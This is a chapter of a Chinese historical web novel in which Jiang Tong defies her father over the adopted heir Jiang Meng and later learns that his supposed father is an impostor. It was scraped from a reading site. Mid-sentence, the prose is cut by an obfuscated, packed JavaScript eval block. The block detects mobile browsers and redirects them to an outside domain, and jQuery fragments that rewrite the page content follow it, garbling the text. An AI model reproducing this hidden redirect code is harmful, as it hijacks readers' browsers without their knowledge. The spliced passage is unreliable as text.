默认冷灰
24号文字
方正启体

21. 福祸依

作者:喻在川本书字数:K更新时间:
    “爹,难道姜曚的命是命,咱们一家三口的命就不是命了吗?”


    姜曈说到此处,眼眶也有些发红,她到底还是迈上了主屋的台阶,扶住了姜怀山:“咱们家叫姜曚害成这个样子,你当真还要管他吗?”


    爱妻幼女双双红着眼睛望着自己,姜怀山一颗心到底分出了亲疏。


    他轻轻拍了拍女儿的手背,看向姜怀堰:“当日姜曚过继来的时候,我家尚有府宅院落,良田数百,这些如今都被姜曚输出去了。我不叫他还,已是仁至义尽。我妻女也要吃饭,不可能再将剩下的家赀浪费在姜曚身上了。”


    “姜怀山!你当真如此绝情?”姜怀堰咆哮起来。


    姜曈挡在姜怀山的跟前,眼光如刀地从姜怀堰身上剔过。


    姜怀堰本不将这个小女娃放在眼中,可在姜曈的注视下,他莫名就有一种被看透了的感觉,一时心惊胆战。


    姜曈背着手,一字一顿道:


    “我记得当年过继的时候,听说姜曚他家穷得连三分地都没有,全家只有一条裤子穿,可是我看伯父这穿金戴银的,这日子当过得不错。却不知是在哪里发的财?”


    她这一说,姜怀山也把目光落在姜怀堰的身上。


    他冷哼一声:“不错,我全家都穿着粗布衣裳,老哥哥你却还穿得起绸缎,可见家底比我殷实。要救你的儿子,你便自己努力吧。”


    姜怀堰脸上一阵白一阵红,他张了张口,正要说什么,姜曈又语气凉凉地补了一句:


    “爹,我看咱们还是要报官的,嗣子将家中资产掏空,然后还宗,怎么看怎么像是有预谋的。”


    “胡说八道!我是自己赚的钱!”听到报官二字,姜怀堰肉眼可见地慌了,倒退着就往门口走去,“不救就不救!想不到你全家都是如此铁石心肠!落井下石!”


    等到姜怀堰走了,姜曈又看向她爹:“姜曚挪走的那些钱,咱们得要回来。”


    姜怀山神色一凛:“够了!姜曈,那也是我姜家血脉!此事到此为止,你不要把事情做绝了!”


    姜曈冷笑一声,语气尖刻:“爹,到现在你还护着他们吗?”


    耳听得他们父女又要吵起来,苏观卿忙点着他那根已经折了的竹杖走过来,温声劝道:“曈曈,此事以后再商量吧,伯父病体未愈,还是不要气着他老人家了。”


    钟婉词也上前扶住姜怀山,柔声劝了两句,把人扶进了卧房。


    就在姜家吵得不可开交的时候,昨日那位张相公进了巧工裱褙坊,帮着老友询问修复问题。


    赵掌柜从柜台后面迎出来,笑眯眯地指着堂中挂着的那幅倪瓒的画。


    “雅士且看这幅画。”


    那张相公只是个粗人,哪里看得懂画,见状只是装模作样地点点头。


    “这幅画曾在地底下埋了数年,都被雨水沤烂了,拿起来,这一提就是一个破洞。眼下雅士可看得出一点修复的痕迹?”


    张相公瞪大了眼睛:“你逗我吧!这怎么可能是被泡烂过的!”


    “见笑,这就是修复的手艺。”


    “这,这怎么弄的?”


    “简单来说,修复就是把装裱的过程倒过来做一次。这第一步,拆除装裱时加上来的一切附着物,然后清洗画心的污浊,之后补上缺失的部分,再全上颜色同笔意。”赵吉笼统地讲了一下,在张相公眼里,就显出了几分老匠人的姿态。


    “烧成那样的,也能修复成这个样子?”张相公指着那幅画道。


    “这个是自然。别的店或许不能,但是我们店可是有高人坐镇的。”赵吉的脸上终于显出了几分得意。


    ……


    那天中午,姜曈依旧不肯跟姜怀山同桌吃饭。


    苏观卿自然陪她。两人端着碗,并排坐在灶房的门槛上。


    今日的饭菜自然还是苏观卿做的。他怎么说当年也是首辅家的少爷,后来不管是坐牢还是在乐班,那都是包伙食的,也不用他下厨。


    他的厨艺还是到姜家后,钟婉词手把手教的。


    鉴于钟婉词的手艺仅限于能把菜做熟,她的这个开山大弟子的水准自然好不了哪里去。


    何况苏观卿是真看不见自己加了多少油盐酱醋,菜的口味相当随机。


    姜曈面不改色地将一口齁得不得了的茄子咽了下去,就饶有趣味地扭头去打量苏观卿的神色。


    见他吃了一口菜后,脸色微变,忍不住偷笑起来。


    乐够了,她冷不丁问了一个问题:


    “你不劝我吗?”


    “啊?劝你什么?”苏观卿没反应过来。


    “劝我别跟我爹置气,劝我进屋里跟他们一起吃。”


    姜曈的记忆中,苏观卿小时候没少跟她拿大哥哥的范儿,总跟她唠叨这个,唠叨那个的,现在一声不吭,就显得有些反常。


    “其实我觉得你没那么生气。”


    这回换姜曈发愣了:“我没那么生气?”


    “你生气的时候,不是这样的表现。”苏观卿温声道。


    “怎么说?”


    “不知道是不是我想多了,我总觉得你现在跟以前不大一样了,以前你的喜怒哀乐都很浓烈,就好像……”苏观卿停了一下,嘴角略向上勾了勾,“画画的时候,用笔狠狠地戳了一下颜料,落在纸上,总是最浓最重的,让人一眼便能留意到。”


    “那现在呢?”姜曈扒拉了一口饭。


    “现在……”苏观卿想了想,“就好像三矾九染时,第一次染出来的样子,淡淡的。”


    “许是近朱者赤近墨者黑,你不也一向淡然吗?定是你影响我了。”姜曈随口道。


    “不,不是这样,”苏观卿侧着头,像是在找寻合适的形容,“不光是淡,而像是隔着一层什么,看得见,却总不真切。”


    苏观卿说到这里,有些不好意思地笑了笑:“你别听我瞎说,我都不知道自己这是在说什么胡话。”


    他没有看到姜曈眸中一闪而过的惊讶。


    她诧异于苏观卿的敏锐。


    苏观卿说的没错,她不就是身处一场梦中吗?


    姜曈这辈子最大的遗憾都是这几年发生的,短短数年,她失去了所有的亲人,失去了自己的身份,不得不背井离乡,从头开始。


    她觉得自己一定是执念太强,才会在死前做上这样一场美梦。


    让她重新变成少年时期的自己,让她能在这场梦里,去弥补自己所有的遗憾。


    也正是因为她觉得这是一场梦,所以她才并不惜身,她才会毫无顾虑地拎着刀,想要手刃仇人。


    这也是为什么,跟姜怀山之间的分歧,她生气吧,却也并没有太生气,毕竟,是在梦里嘛。梦里能再见暌违七十多年的老父亲,还能跟他吵吵架,这未尝不算一种幸福。


    她自己有时候都觉得自己好像是在看一场戏,虽然她自己也在戏中,但所有的情感都好似隔层纱,有一种不真实的感觉。


    她也不知道这场梦会在什么时候醒来,但是只要她一日未醒,她便会努力靠着自己的一双手,努力过好每一天,让她在意的人都过上好日子。


    等到她醒来的那一日,至少她已经为父母,为观卿,安排好了下半生。那时,即便让她独自一人面对自己的死亡,她也无所畏惧。


    姜曈偷摸把一大块


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850038|175808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    茄子夹到苏观卿碗里,讲了真心话:“要照你这么说也没错,我这两年总感觉自己像是待在梦里,眼前的一切似乎都是假的,也许有一天醒了,一睁开眼睛,发现一切都是黄粱一梦。”


    苏观卿心有戚戚焉:“苏家出事之后,我何尝没有过这样的感觉。那时候我被关在牢房里,就在想,也许这一切都是一场噩梦,等醒过来,又能回到从前。”


    “那我不一样,我现在做的可是美梦。可不想醒过来。”姜曈说着,又偷渡了一筷子菜到人家碗里。


    也不知苏观卿察没察觉到自己碗里的菜越吃越多,他略仰着头,感受到春日正午过后的阳光落在自己的脸上,暖暖的,柔柔的。


    半晌后,姜曈才听到他喃喃的声音——


    “我现在做的,也是美梦。”


    两人说着,一道暗灰色身影闪过墙头,无声无息地落在姜曈跟前。


    “阿乔!”姜曈眼睛一亮,“你回来啦。”


    苏观卿没听见阿乔的脚步声,不过他也知道对方轻功了得,也不以为意,只是笑问:“乔姑娘吃了吗?”


    阿乔没回答,只是跟姜曈挤眉弄眼做个表情,那意思是——


    苏公子做的饭吗?


    姜曈狐狸眼一眯,笑着点了点头。


    阿乔馋虫顿消,她清了清嗓子:“那个,我吃过了。你们吃,你们吃。阿曈,你吃完回屋,我有话跟你说。”


    她说着就朝姜曈的屋子走去。


    姜曈巴不得一声,把饭碗塞给苏观卿:“我不吃了,我先去了。”


    苏观卿把头转向她的方向,问道:“你一会儿还吃吗?”


    “不吃了不吃了,我已经吃饱了。”姜曈脚不点地地就回了自己屋。


    苏观卿听着姜曈的脚步声消失在小屋门后,他本想直接将姜曈那碗饭倒进自己的碗中,可他拿筷子点了点,发现自己那碗居然满满当当,他一时有些哭笑不得,当下三两口扒完自己那碗饭,把空碗放在脚边,就开始吃起姜曈的那碗。


    这一次,他端着碗,一小口,一小口地,吃得细嚼慢咽。


    姜曈那边刚进门,阿乔就关上了屋门。


    “出什么事了吗?”姜曈见她如此神秘,第一反应就是码头那起大火背后的仇家寻到了阿乔的踪迹。


    “我查到点儿事,”阿乔也不绕圈子,开门见山道,“你那个堂伯父不对劲。”


    姜曈一怔:“怎么个不对劲法?”


    “我这些天一直让手下的兄弟盯着他们父子的动向,姜曚在被人家扣在手中就不说了,那个姜怀堰却是行踪诡异,我那些弟兄身手都是不错的,竟数次跟丢了他。我就设法摸进他住的客栈,翻了他的包裹,看见了他的路引。”


    姜曈一颗心提了起来,就听阿乔问道:“你们姜家本家不是在北直隶吗?”


    “是呀。”


    “姜怀堰的路引却表明,他根本不是从北直隶来的。”


    姜曈有些莫名:“不是从老家来的?”


    阿乔颔首:“我觉得不对劲,就让人去姜家老家查过了,姜曚的亲生父母十年前就死了,所以这个姜怀堰,并不是他的亲爹。但是不论我怎么查,都查不出此人的根脚。唯一能确定的是,他不可能是真的姜怀堰。”


    姜曈第一反应就是去告诉姜怀山,他被骗了。


    下一刻,阿乔的声音再度响起:


    “还有,我查过了,你爹借驿路送给姜怀堰,让对方来领儿子的信,也根本不是送往姜家老家的。”


    姜曈霍然看向阿乔:“你的意思是,我爹知道这个姜怀堰是假的?”


    阿乔肃然点头:“不错。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)